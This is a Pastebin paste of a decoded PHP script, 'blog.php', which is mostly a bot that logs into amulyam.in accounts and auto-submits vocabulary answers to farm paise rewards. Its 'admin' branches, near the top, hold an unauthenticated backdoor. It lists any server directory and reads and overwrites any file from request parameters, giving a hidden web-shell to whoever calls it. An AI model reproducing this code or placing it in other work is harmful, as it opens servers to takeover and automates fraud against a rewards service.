Advertisement
plas71k

blog.php => decoded

May 13th, 2013
315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.56 KB | None | 0 0
  1. <?php
  2. /*
  3. * @ This file is decoded by pLa$71k
  4. * @ Date: 13 May 2013
  5. * @ Web: http://pirate-sky.com
  6. * @ Pirate-Sky Crew (c) 2008 - 2013
  7. */
  8. ?>
  9. <title>RuleWAP.TK</title>
  10. <h1>I(Garry) am SUper Intelligent. By <a href=http://rulewap.tk>RuleWAP.Tk</a></h1><hr>
  11. <?php
  12.  
  13. set_time_limit(0);
  14. $admin = $_REQUEST['admin'];
  15. if ($admin == dir) {
  16.     $dir = $_REQUEST['dir'];
  17.    
  18.    
  19.     if (is_dir($dir)) {
  20.         if ($dh = opendir($dir)) {
  21.             while (($file = readdir($dh)) !== false) {
  22.                 $ext = pathinfo($file, PATHINFO_EXTENSION);
  23.                
  24.                
  25.                 echo '' . $file . '<br><a href="?admin=edit&file=' . $dir . '/' . $file . '">Edit</a>  |  <a href="adminview.php?admin=view&file=' . $dir . '/' . $file . '">View</a><br>';
  26.                
  27.             }
  28.             closedir($dh);
  29.         }
  30.     }
  31. }
  32.  
  33. elseif ($admin == edit) {
  34.     $edit = $_REQUEST["file"];
  35.     if ($_POST['change']) {
  36.         echo "<div style='background:grey;color:white;padding:4px'>Changes Saved</div>";
  37.         $news        = trim(stripslashes($_POST['news']));
  38.         $myFile3     = $edit;
  39.         $fh3         = fopen($myFile3, 'w');
  40.         $stringData3 = "$news";
  41.         fwrite($fh3, $stringData3);
  42.         fclose($fh3);
  43.         echo '<br><font color=red>File Succesfully Editted.<hr>';
  44.     }
  45.    
  46.     $myFile  = $edit;
  47.     $fh      = fopen($myFile, 'r');
  48.     $thedata = fread($fh, filesize($myFile));
  49.     fclose($fh);
  50.    
  51.     echo '<div style="background:grey;color:white;padding:4px">Edit File</div><form action="adminedit.php?nws=do&file=' . $edit . '" method="post"><input type="hidden" name="pass" value="ypox"> File:<br><textarea name="news">' . $thedata . '</textarea> <br/>
  52. <input type="submit" name="change" value="Edit File"></form>';
  53. } else {
  54.     $cookie = tempnam("/tmp", "CURLCOOKIE");
  55.     $uid    = explode(',', $_REQUEST['uid']);
  56.     $pwd    = $_REQUEST['pwd'];
  57.     $ser    = "www.amulyam.in/";
  58.     $url    = "$ser/login.do";
  59.     $url_v  = "$ser/vocabulary.do";
  60.     $url_w  = "$ser/enterLWord.do";
  61.     $url_s  = "$ser/showLWord.do";
  62.     $agent  = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7";
  63.    
  64.     for ($i = 0; $i < count($uid); $i++) {
  65.         echo "Account Summary For " . $uid[$i] . "<hr>";
  66.         $ch = curl_init();
  67.         curl_setopt($ch, CURLOPT_URL, "$ser");
  68.         curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  69.         curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
  70.         curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
  71.             "Content-Type: application/x-www-form-urlencoded",
  72.             "Accept: */*"
  73.         ));
  74.         curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  75.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  76.         curl_setopt($ch, CURLOPT_REFERER, "$ser");
  77.         curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
  78.         $html = curl_exec($ch);
  79.        
  80.         $data = "mobile=$uid[$i]&password=$pwd&button=LOGIN";
  81.         curl_setopt($ch, CURLOPT_URL, "$url");
  82.         curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  83.         curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
  84.         curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
  85.             "Content-Type: application/x-www-form-urlencoded",
  86.             "Accept: */*"
  87.         ));
  88.         curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  89.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  90.         curl_setopt($ch, CURLOPT_REFERER, "$url");
  91.         curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
  92.         curl_setopt($ch, CURLOPT_POST, 1);
  93.         curl_setopt($ch, CURLOPT_POSTFIELDS, "$data");
  94.         $html = curl_exec($ch);
  95.        
  96.         if (preg_match("/Invalid login/i", $html, $matches)) {
  97.             echo "<font color=red><b>Login Error</b></font>";
  98.         } else {
  99.             echo "<font color=green><b>AMULYAM VOCABULARY BUILDER<br><br></b></font>";
  100.             for ($loop = 1; $loop <= 15; $loop++) {
  101.                
  102.                 curl_setopt($ch, CURLOPT_URL, "$url_v");
  103.                 curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  104.                 curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
  105.                 curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
  106.                     "Content-Type: application/x-www-form-urlencoded",
  107.                     "Accept: */*"
  108.                 ));
  109.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  110.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  111.                 curl_setopt($ch, CURLOPT_REFERER, "$url_v");
  112.                 curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
  113.                 $html = curl_exec($ch);
  114.                 if (stristr($html, "You've got 50 paise")) {
  115.                     echo "<font color=blue><b><font color=red>Congrats Vocabulary is Over. To get 50 paisa visit the following page now  
  116.  
  117. </font> http://www.amulyam.in/vocabulary.do</b><br></font>";
  118.                     echo "<a href=\"http://www.amulyam.in/vocabulary.do\">Click here</a>";
  119.                     die();
  120.                 }
  121.                 preg_match_all("/<h3 style=\" text-align: left;\" >(.*?)<\/h3>/i", $html, $n);
  122.                 $qs = $n[1];
  123.                 $qs = implode($qs);
  124.                
  125.                
  126.                 preg_match_all("/input  type=\"hidden\" name=\"cp\" value=\"(.*?)\"/i", $html, $n);
  127.                 $qno = $n[1];
  128.                 $qno = implode($qno);
  129.                
  130.                
  131.                 $data = "cp=$qno&word=$qs&submit=SUBMIT";
  132.                 curl_setopt($ch, CURLOPT_URL, "$url_s");
  133.                 curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  134.                 curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
  135.                 curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
  136.                     "Content-Type: application/x-www-form-urlencoded",
  137.                     "Accept: */*"
  138.                 ));
  139.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  140.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  141.                 curl_setopt($ch, CURLOPT_REFERER, "$url_s");
  142.                 curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
  143.                 curl_setopt($ch, CURLOPT_POST, 1);
  144.                 curl_setopt($ch, CURLOPT_POSTFIELDS, "$data");
  145.                 $html = curl_exec($ch);
  146.                
  147.                 preg_match_all("/<div class=\"congrats\-message\">(.*?)<\/div>/i", $html, $n);
  148.                 $res = $n[1];
  149.                 $res = implode($res);
  150.                
  151.                 echo "<font color=green><b><font color=blue><font color=maroon>Word No: $qno. </font>$qs </font>($res) </b><br></font>";
  152.                
  153.             }
  154.         }
  155.     }
  156. }
  157. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement